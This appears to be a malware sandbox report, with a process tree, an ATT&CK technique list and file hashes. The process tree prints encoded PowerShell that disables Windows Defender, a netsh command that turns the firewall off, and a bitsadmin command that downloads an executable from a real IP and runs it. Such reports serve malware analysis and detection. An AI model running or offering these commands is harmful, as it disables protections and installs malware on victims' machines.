powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
5⤵
PID:1880

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
6⤵
PID:1580

C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe
"C:\Users\Admin\Documents\15FE3522C4A8539009248\15FE3522C4A8539009248.exe"
4⤵
- Executes dropped EXE
PID:64

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
5⤵
PID:1728

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
6⤵
PID:4072

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
7⤵
PID:3016

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer myjob1 /download /priority high http://165.227.39.70/hoetnaca/exps/St.mp4 "%temp%\cock.exe" && "%temp%\cock.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:2320

C:\Windows\SysWOW64\bitsadmin.exe
bitsadmin /transfer myjob1 /download /priority high http://165.227.39.70/hoetnaca/exps/St.mp4 "C:\Users\Admin\AppData\Local\Temp\cock.exe"
3⤵
- Download via BitsAdmin
PID:2008

C:\Users\Admin\AppData\Local\Temp\cock.exe
"C:\Users\Admin\AppData\Local\Temp\cock.exe"
3⤵
- Loads dropped DLL
PID:1176

C:\Users\Admin\AppData\Local\Temp\12.exe
"C:\Users\Admin\AppData\Local\Temp\12.exe"
4⤵
- Executes dropped EXE
PID:1496

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
5⤵
PID:1280

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
6⤵
PID:1616

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
7⤵
PID:2172

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\cock.exe"
4⤵
PID:3488

C:\Windows\SysWOW64\chcp.com
chcp 65001
5⤵
PID:1932

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
5⤵
- Runs ping.exe
PID:484

C:\Users\Admin\AppData\Local\Temp\Bt.exe
"C:\Users\Admin\AppData\Local\Temp\Bt.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Adds Run key to start application
PID:4036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
3⤵
PID:1652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=
4⤵
PID:4076

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
5⤵
PID:1332

C:\Windows\SysWOW64\notepad.exe
"C:\Windows\System32\notepad.exe"
3⤵
PID:2268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 1396
3⤵
- Program crash
PID:2376

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
1⤵
- Executes dropped EXE
PID:608

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

BITS Jobs

T1197

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

BITS Jobs

T1197

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\42B9A473B4DAF01285A36B4D3C7B1662_178C086B699FD6C56B804AF3EF759CB5
MD5
e76686fec5c2554e4d517cea97b70ee0

SHA1
9a5e81d94c3178afae9d4cabf99b4e5159bfc02c

SHA256
4d122af86946dd3f99b7eca4af8151f420db21c627eb6883bac5f12abcdf101b

SHA512
61d8cd211e41e73be4d3c7a3966cd2e8e949f11fdd4f3bd4a42b2a476273f1680eb6c7640ecb0cec3e399c25799d150e2631e0ffb6c2b9c6b7c9961d084e7eab

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\66AE3BFDF94A732B262342AD2154B86E_CAAD487C6DC014CC76BDDB95FED82CB0
MD5
9413c455af38f14ff664bb49b151903c

SHA1
9bc0ff597c433f911746eefeb64454e01e1cab50

SHA256
95a28fa5a61fd0dbd19799b2ea321bc9a90b56e0a1abe2020e0bbb50339b77c3

SHA512
dfcce638b4a8ea8c4c0ea7d69642673df44f18b1fe9c946b9c2e68b04a86243848590b4a444294109467f9e3f0ae71f417c7588592f022093ce441b7cf5c3878

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\42B9A473B4DAF01285A36B4D3C7B1662_178C086B699FD6C56B804AF3EF759CB5
MD5
c3282a02e6693a660554273b591127d2

SHA1
24fb1ba5abc85dded4dcf96a542e0943b3ce63d2

SHA256
745750469cd114c79989be01fb577398733e04e3d1c21fbd091f40b4dbbc51c4

SHA512
03bf1efb4b2ae2d7c6b7cc33329c5bcb32bae62497b888f4d7c119a6d554ee5499d90d1dd3df1f5e095289d92685ee5e636322189b5e7eb2d1c05516d65f6488

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\66AE3BFDF94A732B262342AD2154B86E_CAAD487C6DC014CC76BDDB95FED82CB0
MD5
890e8a5f09a6531c0e23bb86f5bfdd9e

SHA1
c212be5f9f16b651dd982da30f81a9545a23c224

SHA256
5a34e0542ca4e76c3bb053b6ef2e351eeab0384b871c4d0cb0c4ec705f228143

SHA512
7ece273b1227a9d9b7520ea9c148db782f2b1c104cc57cdfdaaaf6b4cf1bceed78347714d0eb6d4a0d807d3b531961561bf3aab71896adf39f667fb0ac5bd7ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\sqtvvs.exe.log
MD5
2ce1b56364fa233e3c3b24c1094c08ef

SHA1
6bd332829aebe567d7b2cb1fd9a82dfe1791052f

SHA256
dcf175d01a6de724456eebafad26562a1c6c59bb61ed4a40675e80b7dbc5680e

SHA512
5abf87138689fdc6f8f79c130c3511c863bac1fb0acc60525bc660c532276e3e0037134a9653e0b4f9a77142236cc18144e90bb40ace7271d6eb57fcf438bfe9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
MD5
84f2160705ac9a032c002f966498ef74

SHA1
e9f3db2e1ad24a4f7e5c203af03bbc07235e704c

SHA256
7840ca7ea27e8a24ebc4877774be6013ab4f81d1eb83c121e4c3290ceb532d93

SHA512
f41c289770d8817ee612e53880d3f6492d50d08fb5104bf76440c2a93539dd25f6f15179b318e67b9202aabbe802941f80ac2dbadfd6ff1081b0d37c33f9da57

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3F38.exe.log
MD5
605f809fab8c19729d39d075f7ffdb53

SHA1
c546f877c9bd53563174a90312a8337fdfc5fdd9

SHA256
6904d540649e76c55f99530b81be17e099184bb4cad415aa9b9b39cc3677f556

SHA512
82cc12c3186ae23884b8d5c104638c8206272c4389ade56b926dfc1d437b03888159b3c790b188b54d277a262e731927e703e680ea642e1417faee27443fd5b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
db01a2c1c7e70b2b038edf8ad5ad9826

SHA1
540217c647a73bad8d8a79e3a0f3998b5abd199b

SHA256
413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

SHA512
c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
MD5
0b5d94d20be9eecbaed3dddd04143f07

SHA1
c677d0355f4cc7301075a554adc889bce502e15a

SHA256
3c6f74219d419accdd3de0d14fa46ff290fd430eddcc5352deddd7de59b4928c

SHA512
395e5d0f28819f773b8d53363b7df73cc976124d1accce104390fdb3f5ebf57d8bb357e616910c03e1a9d67985704592640e442bd637009e32086bb1b2088916

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
MD5
0b5d94d20be9eecbaed3dddd04143f07

SHA1
c677d0355f4cc7301075a554adc889bce502e15a

SHA256
3c6f74219d419accdd3de0d14fa46ff290fd430eddcc5352deddd7de59b4928c

SHA512
395e5d0f28819f773b8d53363b7df73cc976124d1accce104390fdb3f5ebf57d8bb357e616910c03e1a9d67985704592640e442bd637009e32086bb1b2088916

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
dcb7d0e34789ae4a28fe2172d50f0caa

SHA1
1a38341b83fe63b42c6284bd61f875fb99df63ab

SHA256
63012ab7dcb72e4c17169f600de1d56e2bea538a46eee3ad890001bb54b6e5d8

SHA512
7120c84c7d4d7155638a760d6722ce6564fdab18be55deec9c8f185c94986b8394fd54d67db186c234feafd07c1acccf799138b93e69a3528cec6ec81602e3e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
fb288af6321d28ebb330814c0cd31232

SHA1
604540f36654a76d60350cb384a830820d790f17

SHA256
a8490916d7de805d73ce27a999f09a50121c7ded10d147fca9399f1a198bb9bb

SHA512
0b08c78ac1777170047be3161a7c12c2b22a3a76276c7120123e0b66402fa18e19694e4d48a766ab1e275eff4509f805f52ef3e2692cddea8df991a677d7ed74

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
9df4725eb996731f9826d042d1ed422d

SHA1
7d106749e3bde67ad4bd6c61b64619d1bce9385d

SHA256
08ad16e3dd9e5e9ac5205c8acdbe6c84eeff0b4a16566a0114b6221d94474b4a

SHA512
c84dee0d857962bc0317a4a92a8b38d8365c51f0e1b44ebbdd7f6fd21f045ad5c5e29b7a102b7f82f492ef73a18e1108808a7ac01bb2ec8fff0f45410328d2e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
9df4725eb996731f9826d042d1ed422d

SHA1
7d106749e3bde67ad4bd6c61b64619d1bce9385d

SHA256
08ad16e3dd9e5e9ac5205c8acdbe6c84eeff0b4a16566a0114b6221d94474b4a

SHA512
c84dee0d857962bc0317a4a92a8b38d8365c51f0e1b44ebbdd7f6fd21f045ad5c5e29b7a102b7f82f492ef73a18e1108808a7ac01bb2ec8fff0f45410328d2e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
05ca26881a09e3a80ca75e6a2541c1a5

SHA1
9f5705594e7231334b9545543813020894ab23be

SHA256
881e4d06b3ede7449239a95a157fe8cb744a251c797a0da2ed4fc4640be1e0b8

SHA512
9b83cb1115cf44af7819a01268d052da5b6182a3d326c381044196a4c224b1f4e15fbda5a91fdf34b0af52f202fedb6d9ebaf2b162947263191040bd13118007

Download Submit
C:\Users\Admin\AppData\Local\Temp\12.exe
MD5
b0130679b71c422e924b78410903d06a

SHA1
15d6e09d37147b04ba6bfff7d0a0ce79b360e4ad

SHA256
c673ed754a6cc0c455353253054727362020218a4e7637cd8e09f2cd1ceb4f75

SHA512
2f27b7adfe7904d8add83074e87ffd20d91c1e28767228b6a43012481cff3a08e7b10b22dd240e63aa01d78da9d05b96b79508e8e6f8369456a7de0829129626

Download Submit
C:\Users\Admin\AppData\Local\Temp\12.exe
MD5
b0130679b71c422e924b78410903d06a

SHA1
15d6e09d37147b04ba6bfff7d0a0ce79b360e4ad

SHA256
c673ed754a6cc0c455353253054727362020218a4e7637cd8e09f2cd1ceb4f75

SHA512
2f27b7adfe7904d8add83074e87ffd20d91c1e28767228b6a43012481cff3a08e7b10b22dd240e63aa01d78da9d05b96b79508e8e6f8369456a7de0829129626

Download Submit
C:\Users\Admin\AppData\Local\Temp\15219417232563451054
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\24D9.exe
MD5
9a2ff6b89422fd5d1c64e51c30386d32
